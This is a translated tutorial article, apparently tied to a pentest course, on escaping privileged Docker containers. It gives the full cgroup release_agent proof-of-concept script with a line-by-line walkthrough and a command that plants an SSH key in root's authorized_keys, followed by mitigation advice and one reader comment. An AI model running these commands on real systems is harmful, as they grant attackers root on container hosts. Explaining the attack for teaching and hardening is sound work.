Escape from privileged Docker containers

Translation of the article was prepared on the eve of the start of the course “Pentest. Penetration Testing Practice “


Docker privileged containers are containers that run with the flag --privileged… Unlike regular containers, these containers have root access to the host machine.

Privileged containers are often used when tasks require direct access to hardware to perform tasks. However, privileged Docker containers can allow attackers to take over the host system. Today we will see how you can exit a privileged container.

Search for vulnerable containers

How can we determine that we are in a privileged container?

How do you know that you are in a container?

Cgroups stands for control groups. This Linux feature isolates resource usage and is what Docker uses to isolate containers. You can tell if you are in a container by checking the cgroup of the init process in /proc/1/cgroup… If you are not inside a container, then the control group will be /. Again, if you are in a container, you will see instead /docker/CONTAINER_ID

How do you know if a container is privileged?

Once you have determined that you are in a container, you need to understand if it is privileged. The best way to do this is to run the command that needs the flag --privilegedand see if it works.

For example, you can try adding dummy interface using the command iproute2… This command requires access to NET_ADMINthat the container owns, if privileged.

$ ip link add dummy0 type dummy

If the command succeeds, then we can conclude that the container has the functionality NET_ADMIN… AND NET_ADMIN in turn, it is part of a privileged set of functions, and containers that do not have one are not privileged. You can remove the link dummy0 after this test, using the command:

ip link delete dummy0

Escape from the container

So how do you go outside the privileged container? The following script will help you here. This example and proof-of-concept was taken from the blog Trail of Bits… To dive deeper into the concept, read the original article:

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*perdir=([^,]*).*/1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs"

This check of concept uses the function release_agent of cgroup
After finishing the last process in cgroup, a command is executed that removes terminated work cgroups… This command is listed in the file release_agent and is executed on behalf of root on the host computer. By default, the function is disabled, and the path release_agent – empty.

This exploit runs code through a file release_agent… We need to create cgroup, specify its file release_agent and run release_agentby killing all processes in cgroup… The first line in hypothesis testing creates a new group:

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

The following includes the function release_agent:

echo 1 > /tmp/cgrp/x/notify_on_release

Further in the next few lines the path to the file is written release_agent:

host_path=`sed -n 's/.*perdir=([^,]*).*/1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

Then you can start writing to the command file. This script will execute the command ps aux and save it to a file /output… You also need to set the access bits for the script:

echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd

Finally, initiate an attack by spawning a process that will terminate immediately in the cgroup we created. Our script release_agent will be executed after the process ends. You can now read the output ps aux on the host machine in a file /output:

sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs"

You can use this concept to execute whatever commands you want on the host system. For example, you can use it to write your SSH key to a file authorized_keys root user:

cat id_dsa.pub >> /root/.ssh/authorized_keys

Preventing an attack

How can this attack be prevented? Rather than granting containers full access to the host system, you should only grant the permissions they need.

Docker’s capabilities allow developers to selectively grant permissions to a container. It is possible to split permissions, usually packed in root access, into individual components.

By default, Docker takes all permissions from the container and requires them to be added. You can remove or add permissions using flags cap-drop and cap-add

--cap-drop=all
--cap-add=LIST_OF_CAPABILITIES

For example, instead of giving the container root access, you leave him NET_BIND_SERVICEif it needs to connect to a port below 1024. This flag will give the container the necessary permissions:

--cap-add NET_BIND_SERVICE

Conclusion

Whenever possible, avoid running Docker containers with the flag --privileged… Privileged containers can give attackers the ability to exit the container and gain access to the host system. Instead, give containers permission individually with a flag --cap-add

Read more


Learn more about the course.


Similar Posts

One Comment

  1. So, when I get the message “mount: permission denied” after calling the first mount command, it is not possible to break from a docker container with this method, right?

Leave a Reply

Your email address will not be published. Required fields are marked *